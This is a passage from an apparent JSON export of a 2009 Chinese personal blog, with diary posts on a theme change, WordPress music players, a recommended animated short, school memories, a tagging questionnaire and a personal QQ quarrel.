width=\u0026ldquo;331\u0026rdquo;\u0026gt;\n这种办法有点是比较的自由，缺点也很明显，就是要自己添加代码，要自己到baidu去搜索歌曲。不过应该也不怎么的麻烦的吧，呵呵。 嗯，最近暫時只有這麽多要說的拉～不屑于的可以忽視鳥……\n","count":829,"date":"2009年07月21日","featuredImage":null,"permalink":"https://imnerd.org/today-summary.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e大家進來是不是發現怡紅院落的主題換了？是的，換成了默認的主題了……嘻嘻……最近覺得院落原來的那個主題還有稍許不足，準備請教高人們改改后再放上來。至于爲什麽用默認的主題呢？是因爲再apple姐那裏看到默認主題也不錯欸，有一種返璞歸真的效果，呵呵……換下主題，大家也換下胃口哈……華麗麗的閃過，希望大家不要罵我頻換變換主題……\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e以下的內容一般的高手可以忽略不計，純粹是寫給菜鳥菜鳥級別的人物的，呵呵：\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e首先，在同步控那裏看到關于獨立博客的介紹哦，覺得用來介紹獨立博客的話相當的經典，就順手引用過來了，放在我院落的BBS裏面，呵呵……\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e請點擊閱讀：\u003cspan style=\"color: #ffcc00;\"\u003e\u003ca href=\"https://imnerd.org/?page_id=377/forum-8/topic-23\" target=\"_blank\"\u003e建立獨立博客需要瞭解的一些基本知識\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e還有就是，上次apple姐姐說不知道怎麽在博客中插入音樂播放器，我詳細的給她回答了一下，這裏我就把它貼出來，希望對不懂的人有些幫助：\u003c/span\u003e\n\u003cspan style=\"font-family:微软雅黑\"\u003e\n\u003c/span\u003e\u003c/p\u003e\n\u003cblockquote\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e關于怎樣在日志中插入音樂播放我這裏有三種辦法:\u003c/span\u003e\r\n\u003cp\u003e\u003cspan style=\"font-size: x-large;\"\u003e1.\u003c/span\u003e使用插件:比如Audio Player可以到論壇裏面去看下\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://wordpress.org.cn/viewthread.php?tid=34231\u0026amp;amp;highlight=mp3\"\u003ehttp://wordpress.org.cn/viewthread.php?tid=34231\u0026amp;amp;highlight=mp3\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size: x-large;\"\u003e\u003cspan style=\"color: #008000;\"\u003e2.\u003c/span\u003e\u003c/span\u003e使用Flash播放器：\u003c/p\u003e","time":2,"title":"今日小結"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":"咳咳，最近都没有更新了，呵呵……别怪我，实在是没什么好写的啊～原谅我吧～刚才扣扣发消息说胡斌被判有期3年了，很惊讶，很震撼……貌似赔偿了100多万诶，神啊……不谈了。 今天给大家推荐一个视频和一个网站，绝对强悍的，嘿嘿……首先是视频：\n关于友情和萌动情感的故事，描述90年代中国 一座小城市里，一个普通中学生萌动的感情历程。努力以现代制作手法，来展现中国小镇及其中生活的人们特有的年代烙印。2008年9月《茗记》荣获日本 2008 TBS Digicon6的动画大赛中国区特别奖；2008年9月《茗记》荣获2008第五届金龙奖最佳动画短片奖；2008年10月《茗记》荣获中国常州国际动 漫大赛最佳中国电视片奖；2008年10月《茗记》荣获中国大学生原创动画大赛短片铜奖和最佳导演奖。短片5月1日发布在网络YOUKU视频网上，立即被 广为传播，几天内点击数量数万，被网络动漫爱好者称之为“最高质量的中国原创动画”，随即由爱好者成立了茗记百度吧，建立了数个爱好者QQ群、圈子，并不 时有外地朋友直接赶工作室参观拜访。2008年7月16日，央视6套联络，为茗记制作了专题，并详细介绍了制作过程和团队。2008年，茗记取得四项国内 奖项，一项国际奖项。\r你有没有觉得有段时间你会特别喜欢回忆喜欢想一想以前的生活和日子那个时候的场景和声音，反复在你脑子里播放而你也总会 觉得这段时间才刚刚过去也许你只是努力想否认自己会如此难忘记这一段时间，一群和一个人伙伴们有时候会说你见色忘友因为每天我都在走廊上等着看她上学放 学，下课出操把自己生活的一大半，倾注在她的身上当时想，也许这就是柏拉图式的恋爱吧虽然不敢奢望太多但还是很希望有一天她能够看到我很多时候一件微不足 道的事情会成为你某一个生活阶段的全部你的喜怒哀乐，都将由此而来伙伴们伪装配合偷取照片的经过成为我们每次聚会必谈的勇事虽然，这个频率一次比一次少， 而我们也一次比一次笑的无聊你知道一份积累并压制了很久的感情往往会导致一个勇敢的决定当我用了很长时间终于完成一幅她的肖像画时，我决定悄悄送给她我只 能想 “天将降大任与斯人也” 这场与坏人的遭遇和撕碎的照片，让我记清楚了过程中的每个细节接下来的画面被我的大脑一遍遍的加工重构我分不清真假，我只看见在一片片花瓣飞舞的幻镜里完 美的定格图像即便是高考的结束对于很多我们的故事来讲却无法是一个完整的句号所有带走的，未必留下丢弃的，也未必遗忘唯一成事实的就像一首歌中唱出的那样 “有些故事，还没讲完那就算了吧，那些心情在岁月中，已经难辨真假，我们就这样，各自奔天涯”\r朋友推荐给我的，他感动于这个故事，我其实是对这个动画的色彩非常的喜欢，暖暖的，但是又不艳丽，还有昏黄的效果，我是非常的喜欢的……我都跟朋友感慨要是秦时明月的动画效果有铭记的一半的感觉就更好了……\r下面再推荐一个网址，很强悍的很强悍的：\nTinEye Reverse Image Search: http://tineye.com/\n介绍的简单点，就是一个搜索引擎，一个用图片来搜索图片的搜索引擎，我觉得这个搜索非常的有趣，朋友利用这个搜索参加豆瓣的看图片猜地方的活动猜对了好几个呢～呵呵，大家试一下吧，还不错的饿……\n","count":1264,"date":"2009年07月20日","featuredImage":null,"permalink":"https://imnerd.org/recommended-about.html","summary":"\u003cp\u003e咳咳，最近都没有更新了，呵呵……别怪我，实在是没什么好写的啊～原谅我吧～刚才扣扣发消息说胡斌被判有期3年了，很惊讶，很震撼……貌似赔偿了100多万诶，神啊……不谈了。\u003cspan style=\"font-family:微软雅黑\"\u003e\n今天给大家推荐一个视频和一个网站，绝对强悍的，嘿嘿……首先是视频：\u003c/p\u003e","time":3,"title":"推荐一下"},{"comments":{"data":[36],"errmsg":"","errno":0},"contents":" 从古至今，皇位都是人人眼红的位子，皇帝也是很多人都争着要当的。从王莽，到安禄山，又甚至到朱棣，莫不是想当皇帝才发起叛变的。为什么呢，因为，皇帝这两个字，代表的是一种权力，呼风唤雨，无所不能，九五之尊，真龙护体……但是，从来没有人会想到过当皇帝的苦，而我，正要来说一说当皇帝的苦。\n为皇者，一般须是皇子，皇子被皇帝选为太子，然后老皇帝退位，太子继任皇帝。先就从皇子和太子这儿说起，皇子未生之时，就已经在相互竞争，争着先出娘肚子来。毕竟成为了大皇子，成为太子的机率也大一点。然后小小年级，就要被逼着学文习武，还要分出半分心思去与其它弟兄们勾心斗角，在分出一半的一半的心思去拉拢和巩固自己的势力。我就奇怪了，小小的身子，哪来这么多心思去想些杂七杂八的事情，后来明白了，这事不得已而为之啊。当了太子之后，为人处事又更要小心，就怕落下什么把柄到一些好事之人的手上。爬得越高，就越怕被摔下来，谁又不是这样呢？我不知道历朝历代被废的太子有多少，但我知道，那种从高山跌落到低谷的滋味一定是不好受的。太子成为皇帝之后，身上的担子又重了一重，一言一行都关系着千千万万的百姓们，自由是不用想了，每天的劳累也不是一般人能够承受的。所以说，皇帝的苦，又有几个人能知？\n季羡林老师曾经说过：向别人的事情比自己还多的，就是好人。他的学生说：我看这标准还可以再降一降，想别人的事情和自己的一样多的人，就是好人。那如果按照这个标准来说的话，皇帝岂不是真的成圣人了？你想啊，每天都要考虑那么多不是自己的事情，心系苍生，醒为百姓苦，睡为百姓忧，好一个皇帝！ 看小说看多了，唉！一些牢骚，一些感慨，无关国事，无关风月。\n","count":686,"date":"2009年07月16日","featuredImage":null,"permalink":"https://imnerd.org/that-the-emperor.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e\u003cimg class=\"alignright size-medium wp-image-486\" title=\"高处不胜寒\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2009/07/1073cd3f98b126dc838b1332-300x212.jpg\" alt=\"1073cd3f98b126dc838b1332\" width=\"300\" height=\"212\" /\u003e 从古至今，皇位都是人人眼红的位子，皇帝也是很多人都争着要当的。从王莽，到安禄山，又甚至到朱棣，莫不是想当皇帝才发起叛变的。为什么呢，因为，皇帝这两个字，代表的是一种权力，呼风唤雨，无所不能，九五之尊，真龙护体……但是，从来没有人会想到过当皇帝的苦，而我，正要来说一说当皇帝的苦。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"说皇帝"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":"　很光荣也很不幸地被志言点名了，无奈只好认真作答了。记得以前被点过一次，那个诅咒发的那个狠呀，现在想起来都还很寒～为了不残害更多的无辜，我就不点人也，其实也点不到什么人……我们都是和谐社会的好孩子，不去干坏事滴～\n答题开始：\n游戏规则: 1.增加一个你想增加的问题，然后去掉一个不喜欢的问题，然后传给朋友 2.点名人数5～10个内 3.被点到的人必须遵守规则完成\nQ1.去日本，允许你免费任意做三件事，你做啥？ A1. 看富士山，在山道骑车(受《非诚勿扰》的影响)，泡温泉\nQ2.你在公侧里上大号，正当进行到一半时，马桶忽然开始进行引爆的倒数，你会? A2. 提裤子走人，逃之夭夭。\nQ3.今天的午餐附上了小布丁，正当你要吃它时，布丁不断抖动，还发出微小的声音”不要吃我….”，你会? A3. 照吃不误……\nQ4.咖哩味的大便跟大便味的咖哩你要吃哪个？ A4.毫无疑问，是人他妈的就不会吃大便去\nQ5.有一天，你在妈妈的衣柜里发现了了蜘蛛人套裝？ A5. 那我就能在我的衣柜里面发现超人套装……\nQ6.你最爱看的连续剧在最精彩的时候忽然停播换成美食节目，你会？ A6.吃饭去……\nQ7.你在学校图书馆的阴暗角落发现了死亡笔記本，你会? A7.兴奋的写下点我名的人，让他装逼然后死于……阴道炎……哈哈(这是我同学想的，相当的绝啊！)\nQ8.有天你收到了不记名的信，里面写着某星云总站被外星人袭击，要你拿著这封信到最近的杂货店里立刻加入支援，你会？ A8. 直接无视\nQ9.最后一条內裤被变态大叔偷走了，怎么辦？ A9.那就不穿呗～话说，谁还看你穿不穿内裤了？\nQ10.香蕉长了毛，怎麼辦？ A10.ORZ~~那就不吃嘛\nQ11.传给你这个问卷的人爱妄想吗？ A11.必须的，要不然他就不会传给我这个变态的点名了～万恶的某人～\nQ12.男老师男扮女裝来上课，还想教大家唱《你到底爱不爱我》，你会？ A12.直接去厕所吐了去\nQ13.早上起來后发现身边睡了个你最喜欢的人，怎么办？ A13.看着TA睡觉的样子\nQ14.眼镜可以发出死光，你想把誰干掉？ A14.当然是点我名的人～\nQ15.如果走路的时候你掉沟里了该怎么办？ A15.当然是爬起来了，这不废话么，谁还在沟里睡大觉的，这出题目的脑残了是不是？\nQ16.如果把你放在市中心只剩一条小内裤你会？ A16.晕睡过去\nQ17.如果你玩蹦极的时候绳子突然断了，最后一句话想说什么？ A17.我的人生还很美好，某人不想死～\nQ18.为了喜欢的人，你下定决心要找到四片叶的苜蓿草，好不容易找到了，蚂蚁朋友却告诉你，要是带走了它，世界就会毁灭…此刻你面临了艰难的二选一，你会？ A18.简单，把TA带到四叶草边上不就行了，两全其美，嘿嘿…… Q19.如果你是哆啦A夢，有一天当你要去找大雄时，打开房间发现小静香跟大雄脫光光在被窝里，旁边还有用过的保险套，你会？ A19.额，太残忍了你。额，应该是当作没看见，直接忽视走过，嘿嘿……\nQ20. 我可以不出题吗？ A20.我才不想变态呢\n","count":1196,"date":"2009年07月15日","featuredImage":null,"permalink":"https://imnerd.org/evil-name.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e\u003cspan style=\"font-size:16px\"\u003e　　很光荣也很不幸地被志言点名了，无奈只好认真作答了。记得以前被点过一次，那个诅咒发的那个狠呀，现在想起来都还很寒～为了不残害更多的无辜，我就不点人也，其实也点不到什么人……我们都是和谐社会的好孩子，不去干坏事滴～\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"万恶的点名"},{"comments":{"data":[32],"errmsg":"","errno":0},"contents":"这个故事，发生在我，他和她之间，当然，后来还参杂了些他，嗯也许是她吧！她，是一位光荣的人民教师；他，是一名即将步入高三的学生。这些都只是一方面的，另一方面，她，是一位作家，出了些作品；而他，确实一位经常逃学的学生，因为失恋曾两度自杀的笨小孩。这些，我原先是不知道的，是她后来发怒时告诉我的。三个本处在不同平行线的人，却因为一本小说而产生了交集。 我与她，本来也就没什么，但她把我的Q号给了他，就这样，我认识了伪装的她。我和他，原本就像平常的聊友一样聊着，不咸也不淡。但是他总是怀疑我和她的关系。其实，我心里，她和他，应该是一样的，都是Q友，只是一个聊的久一点，一个才刚刚开始而已。迫不得已，我说了些她的不算隐私的隐私。当然，如果性别也属于隐私的话，那我也无话可说了。这或许就成了这件事情的导火索了吧。本来没什么的东西结果引起了轩然大波，我不知道为什么这句话就引起了她的勃然大怒，大斥她为骗子，虚伪的人。这是，我都还蒙在鼓里，知道他向我吐诉时，我才晓得。我立即劝阻了他进一步的行动。本以为没有什么了，没想到她又找到我把我骂的是狗血喷头。我这才明白，一件小事，却牵动了另外一件大事。她对我说：“你知道么？你知道什么！你知道他至今为止一直都在逃学么？你知道他曾经因为失恋而自杀过两次么？你知道我现在一直在试图挽回他么？他还是个孩子，道路还很长，神恶魔都可以再以后变好的。我只希望他能过的号。可就是因为你的一句话，他就这样了，再也变不回去了。”说了一大堆，我的心犹如天上的云一样一变再变，从大气凌然到害怕，从害怕到后悔，从后悔到惭愧，从惭愧转到了愤怒。是，我是做错了，如果真是因为我这么一句话就残骸了一个人的一声的话，我一定会后悔的要死的。但是，你认为，有谁，会在没有什么背景的情况下意识到性别这个东西会是这么重要的东西呢？你和我说的自杀案，我都记得了，这些都让我明白了一件事情：别人的事情，莫讲，莫问。 我，从来都没有被人这样骂过。我爸，我妈，老师同学，都没有过。可是，看着你的话，我在屏幕前哭了。你不知道被人骂哭了是什么样的感觉吧？呵呵，你当然是不知道的。我最后说了句：“我没错，但我内疚。可是我又要告诉你，现在就算是我犯了天大的错，你都要为你现在所说的话后悔的！”就这样，我结束了单方的对话。但是，这件纠结难缠的事一直回绕在我的脑中，挥之不，直接导致这两天心烦意乱，啥事也没做。后来还有个小疯子，可担心她了，我就说了句皇帝不急太监急，就说了一个“靠”字，就被他冠以“骂人”的罪名了，说什么我不好，我不是那个怡红公子。还让我在江西等着，他要过来揍我呢！呵呵，真是笑死我了。哦，对了，忘记说了，貌似某人当天下午人间蒸发，搞的大家心急火燎的，当然，大家里面是不包括我的了。 你跟我说：文人玩弄文字，更会玩弄感情。这句话，我永远都会记住的。 呵呵，不好意思，本来是想写篇优美的陈述贴的，没想到自己一下子没控制好情绪就成了发泄贴了。讲了这么多，却连事情的原委都还没有讲明白，郁闷死我了！大家看得懂就看吧，看不懂就直接过吧。 另外，如果那个“她”，你看到了的话，想跟你说声：你要找的怡红公子去年就已经死了，现在的，是19岁的怡红公子，不是你的18，你醒醒吧！\n","count":1317,"date":"2009年07月11日","featuredImage":null,"permalink":"https://imnerd.org/me-him-and-her.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e这个故事，发生在我，他和她之间，当然，后来还参杂了些他，嗯也许是她吧！她，是一位光荣的人民教师；他，是一名即将步入高三的学生。这些都只是一方面的，另一方面，她，是一位作家，出了些作品；而他，确实一位经常逃学的学生，因为失恋曾两度自杀的笨小孩。这些，我原先是不知道的，是她后来发怒时告诉我的。三个本处在不同平行线的人，却因为一本小说而产生了交集。\n我与她，本来也就没什么，但她把我的Q号给了他，就这样，我认识了伪装的她。我和他，原本就像平常的聊友一样聊着，不咸也不淡。但是他总是怀疑我和她的关系。其实，我心里，她和他，应该是一样的，都是Q友，只是一个聊的久一点，一个才刚刚开始而已。迫不得已，我说了些她的不算隐私的隐私。当然，如果性别也属于隐私的话，那我也无话可说了。这或许就成了这件事情的导火索了吧。本来没什么的东西结果引起了轩然大波，我不知道为什么这句话就引起了她的勃然大怒，大斥她为骗子，虚伪的人。这是，我都还蒙在鼓里，知道他向我吐诉时，我才晓得。我立即劝阻了他进一步的行动。本以为没有什么了，没想到她又找到我把我骂的是狗血喷头。我这才明白，一件小事，却牵动了另外一件大事。她对我说：“你知道么？你知道什么！你知道他至今为止一直都在逃学么？你知道他曾经因为失恋而自杀过两次么？你知道我现在一直在试图挽回他么？他还是个孩子，道路还很长，神恶魔都可以再以后变好的。我只希望他能过的号。可就是因为你的一句话，他就这样了，再也变不回去了。”说了一大堆，我的心犹如天上的云一样一变再变，从大气凌然到害怕，从害怕到后悔，从后悔到惭愧，从惭愧转到了愤怒。是，我是做错了，如果真是因为我这么一句话就残骸了一个人的一声的话，我一定会后悔的要死的。但是，你认为，有谁，会在没有什么背景的情况下意识到性别这个东西会是这么重要的东西呢？你和我说的自杀案，我都记得了，这些都让我明白了一件事情：别人的事情，莫讲，莫问。\n我，从来都没有被人这样骂过。我爸，我妈，老师同学，都没有过。可是，看着你的话，我在屏幕前哭了。你不知道被人骂哭了是什么样的感觉吧？呵呵，你当然是不知道的。我最后说了句：“我没错，但我内疚。可是我又要告诉你，现在就算是我犯了天大的错，你都要为你现在所说的话后悔的！”就这样，我结束了单方的对话。但是，这件纠结难缠的事一直回绕在我的脑中，挥之不，直接导致这两天心烦意乱，啥事也没做。后来还有个小疯子，可担心她了，我就说了句皇帝不急太监急，就说了一个“靠”字，就被他冠以“骂人”的罪名了，说什么我不好，我不是那个怡红公子。还让我在江西等着，他要过来揍我呢！呵呵，真是笑死我了。哦，对了，忘记说了，貌似某人当天下午人间蒸发，搞的大家心急火燎的，当然，大家里面是不包括我的了。\n你跟我说：文人玩弄文字，更会玩弄感情。这句话，我永远都会记住的。\n呵呵，不好意思，本来是想写篇优美的陈述贴的，没想到自己一下子没控制好情绪就成了发泄贴了。讲了这么多，却连事情的原委都还没有讲明白，郁闷死我了！大家看得懂就看吧，看不懂就直接过吧。\n另外，如果那个“她”，你看到了的话，想跟你说声：你要找的怡红公子去年就已经死了，现在的，是19岁的怡红公子，不是你的18，你醒醒吧！\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"我，他和她"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"　昨天到今天都在坐车，中午才回的家，偏偏这段时间评论量飙升（还得多谢妖狐同志的那篇炒作文额），对于没有照顾到的评论，还希望大家海涵。\nand,　还有一件很高兴的事情，就是我瘦拉！呵呵，瘦了好多哦，嗯，算算，有12斤吧，嘿嘿！我得意的笑阿！\n另外，开这篇文的目的，还有一个，就是希望大家能够推荐一款相机，2500元以内的就行，没有其它特殊要求。zern大哥推荐的那款富士我觉得挺不错的，大家还有没有其它的呢？呵呵，本来想发到BBS里面去的，想下应该没多少人会去，就放日志里了，权且当回帖子用吧。\n","count":239,"date":"2009年07月09日","featuredImage":null,"permalink":"https://imnerd.org/%E5%9B%9E%E5%AE%B6%E4%BA%86.html","summary":"\u003cp\u003e　　昨天到今天都在坐车，中午才回的家，偏偏这段时间评论量飙升（还得多谢妖狐同志的那篇炒作文额），对于没有照顾到的评论，还希望大家海涵。\u003c/p\u003e\n\u003cp\u003e　　and,　还有一件很高兴的事情，就是我瘦拉！呵呵，瘦了好多哦，嗯，算算，有12斤吧，嘿嘿！我得意的笑阿！\u003c/p\u003e","time":1,"title":"回家了"},{"comments":{"data":[48],"errmsg":"","errno":0},"contents":"　昨天特别郁闷，晚上写好了一片日志，居然在改字体的时候突然之间就不翼而飞？！搞得我相当的火大。下次得学小明猪了，先写在记事本上，在贴上去，嘿嘿。俺今天又想阿，妖狐写我写的那么差，我就是为了这个标题，也得把昨天晚上写的东西想起来重新写上去阿，嘿嘿～！坦白的说，这是我赤裸裸的报复。其实，本文，还是跟题目无关，哈哈！\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝开始正题＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n昨天会老同学（今天自然要改成昨天了），地点是在高中母校。我先到的，就跑上去看望了一下母校。在那里怀旧了一大把，呵呵。看了下门前的喜报，突然发现一朋友考清华去了，很震惊，没想到我的朋友圈里也有上清华那样学校的。又想起了前天的事，想起了要是我复读我会怎么样了呢？还想起初中时候一次考试跟他只相差过12分而已。唉！世事难料额～～ 这些天志言特别怀旧，写了篇小学故事，结果好多人写了，我也就跟跟风，也写下我的小学故事吧。 怎么上的学志言那里有，我就不多说了。我上过学前班。学前班记得的事情不多，就只有三件事。一个是学前班的音乐老师用白眼看我时的眼神，另外就是上课老迟到，还有就是班长偷老师的钱被罚站。白眼？！当然拉，学前班的时候成绩特别的差，差点就没把老师气死，当然不讨老师喜欢拉。上一年级的时候被选上当班长了，当时的那个高兴阿，呵呵。记得最深的一件事情就是假公济私，狠狠地打原来那个班长的手心了，打的他都哭了。嘿嘿，谁让他学前班的时候老是虐我呢，就让我公报私仇一下吧。听我妈说晚上的时候他家长还找到我家来了呢，不过被我妈轰出去了，哈哈。就这件事情，特别的爽快。还记得小学的班主任，一到三年级的，对我特别的好，有一次我的脚被玻璃扎了，老师抱着我到教室，还亲自为我洗伤口什么的，现在想起来，感动的是一塌糊涂阿！然后是到了小学五年级的时候，快毕业了嘛，忙着学奥数。我们数学老师给了我们很大的特权，比如中午期间她会帮我们补习，周末的时候去她家补习，上她的课可以直接忽略不计，讨论自己的就行。哇噻，我当时真是爱死我们数学老师了，太伟大了！当时很开心，晚上上完奥数补习课就在路边摊吃水饺，现在回想起来都觉得那里的水饺特别的好吃，估计是饿了的缘故吧。周末补习的时候跟大家一起玩耍，甭提有多爽了！唉！记得的只有这么多了，昨天晚上好像还写了点的，忘记了。\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝结束怀旧＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝声讨开始＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n前些天妖狐写了什么看看博友们都在做什么，结果把我写的是乱七八糟，一塌糊涂。不得不佩服他颠倒黑白，搬弄是非的能力。更严重的话就不说了，也说不出来了。我声明下，我是男生，我真的是男生！\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝声讨结束＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝推荐网址＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\nhttp://feedm8.com/web\n将你的博客手机化的服务，在下面可以选择中文。我个人觉得比插件做的好看点，呵呵！\n＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝推荐结束＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝\n","count":1269,"date":"2009年07月08日","featuredImage":null,"permalink":"https://imnerd.org/koshi-words-dead-yao-hu.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e　　昨天特别郁闷，晚上写好了一片日志，居然在改字体的时候突然之间就不翼而飞？！搞得我相当的火大。下次得学小明猪了，先写在记事本上，在贴上去，嘿嘿。俺今天又想阿，妖狐写我写的那么差，我就是为了这个标题，也得把昨天晚上写的东西想起来重新写上去阿，嘿嘿～！坦白的说，这是我赤裸裸的报复。其实，本文，还是跟题目无关，哈哈！\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"好志言，死妖狐！"},{"comments":{"data":[34],"errmsg":"","errno":0},"contents":"\n与题目无关 高考结束了，大家的成绩都出来了。今天问个同学成绩，她说考的很差，实际上是高一本线50多分，在我心里，我已经觉得这个很高了，虽然她不这么认为……突然，我心里就升起了一股羡慕之情。看看她的QQ签名，我的人生轰轰烈烈，要么名垂千古，要么遗臭万年！我觉得她是真的做到了，衷心的替她高兴，同时也感到无比的欣慰。大家都考得这么好，让我不得不幻想下如果当初我也复读了呢，还是这个样子的嘛？还是说另有一番成就，抑或是一落千丈……这些，我都不得而知。 大家的人生都是轰轰烈烈的，记得班长说过，人嘛，就要趁着青春年华，趁着自己还热血沸腾的时候好好干一场，当时的我，不明白，为什么大家都喜欢轰轰烈烈，而我，只是希望有一个平平淡淡的生活，尽管这样，我还是很羡慕他们，仅仅羡慕他们有轰轰烈烈的希望。大家可能都觉得，只有经历了风风雨雨，心憔悴，身亦憔悴的时候才想返璞归真，站在风口浪尖久了，也想平平淡淡一把了。但我肯定是没有经历过风雨的。心憔悴？有可能。站于风口浪尖？好像没有过。不具备条件的我，为什么会想要平淡了呢，我不知道，也许，我追求的，永远都只是那一种意境。我的人生，只求有一种平淡的意境。\n如果当初我复读了，我也许还是这个样子的，但我的平淡我能够保持多久呢，我愿一直保持下去。\n树在风雨中摇曳 心在风口浪尖上憔悴 不曾有过轰轰烈烈 羡慕也无用 不是你的， 终究就不是你的 要不来的 我总是 看着自己碗里的 羡慕别人碗里的 我的人生苦涩么 不 但谁又能读懂 我追求的， 只是那一丝希望 只希望 那静如止水的平淡 能够永远伴我左右 ","count":639,"date":"2009年07月06日","featuredImage":null,"permalink":"https://imnerd.org/yes-or-no.html","summary":"\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-family: Georgia;\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/lh6.ggpht.com/_A_ONO3v5Of8/SlF6XSunvbI/AAAAAAAAA9k/9Vbu_5DY8i0/s800/58e21c392743f9e0d4622560.jpg\" alt=\"58e21c392743f9e0d4622560.jpg\" width=\"598\" height=\"284\" /\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e\u003cspan style=\"font-family: Georgia;\"\u003e　　\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e与题目无关\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e\n　　\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e高考结束了，大家的成绩都出来了。今天问个同学成绩，她说考的很差，实际上是高一本线50多分，在我心里，我已经觉得这个很高了，虽然她不这么认为……突然，我心里就升起了一股羡慕之情。看看她的QQ签名，我的人生轰轰烈烈，要么名垂千古，要么遗臭万年！我觉得她是真的做到了，衷心的替她高兴，同时也感到无比的欣慰。大家都考得这么好，让我不得不幻想下如果当初我也复读了呢，还是这个样子的嘛？还是说另有一番成就，抑或是一落千丈……这些，我都不得而知。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan style=\"font-size:16px\"\u003e\u003cspan style=\"font-family:黑体\"\u003e　　大家的人生都是轰轰烈烈的，记得班长说过，人嘛，就要趁着青春年华，趁着自己还热血沸腾的时候好好干一场，当时的我，不明白，为什么大家都喜欢轰轰烈烈，而我，只是希望有一个平平淡淡的生活，尽管这样，我还是很羡慕他们，仅仅羡慕他们有轰轰烈烈的希望。大家可能都觉得，只有经历了风风雨雨，心憔悴，身亦憔悴的时候才想返璞归真，站在风口浪尖久了，也想平平淡淡一把了。但我肯定是没有经历过风雨的。心憔悴？有可能。站于风口浪尖？好像没有过。不具备条件的我，为什么会想要平淡了呢，我不知道，也许，我追求的，永远都只是那一种意境。我的人生，只求有一种平淡的意境。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"Yes Or No"},{"comments":{"data":[21],"errmsg":"","errno":0},"contents":"纯QQ聊天记录，鄙视者可以完全忽略不计，感兴趣者可以看下。\n怡红公子\r11:37:18\r谢谢你的蛋糕\rXXXX\r11:37:35\r你怎么了 XXXX\r11:37:42\r看看你不行么？ 怡红公子\r11:37:58\r不是不行,是不想\rXXXX\r11:39:46\r你去年暑假不是说了今年过来么？ 怡红公子\r11:40:15\r呵呵,你还记得……是呀！\rXXXX\r11:40:59\r看来是你忘了 怡红公子\r11:41:18\r可是貌似我是说我去吃喜糖的\rXXXX\r11:41:52\r你当面说谎的功力真让人震撼 怡红公子\r11:41:59\r嗯\rXXXX\r11:42:21\r去年暑假我可曾说过什么喜糖？ XXXX\r11:42:40\r喜糖是过年期间我在深圳说的 怡红公子\r11:42:46\r你当面说谎的能力也不比我差的\rXXXX\r11:43:17\r我倒不明白了——我对你说什么了？ 怡红公子\r11:43:32\r把陈年旧事拿出来就想对我说这些么？\rXXXX\r11:43:54\r我肯定不想说上面那些 XXXX\r11:44:17\r但是你也太咄咄逼人 怡红公子\r11:44:41\r大家都明知是玩笑话，就不必太当真了，太真太坏\rXXXX\r11:44:46\r上了大学就是这长进——脾气见坏了 怡红公子\r11:44:56\r呵呵，是有点\rXXXX\r11:45:23\r是的，去年暑假的小公子如今长大了 XXXX\r11:45:41\r说话都能杀人 怡红公子\r11:45:45\r说的我很伤心啊……\rXXXX\r11:46:02\r知道你不会伤心 怡红公子\r11:46:14\r哎！你不也是一样的\rXXXX\r11:46:27\r我自己知道跟你不一样 XXXX\r11:46:35\r老天也知道 怡红公子\r11:46:38\r看样子最近小埃同学肯定是没找到个对嘴的人\rXXXX\r11:46:40\r你自然是不知道的 XXXX\r11:47:28\r别再说狠话了， XXXX\r11:47:42\r你我都没必要 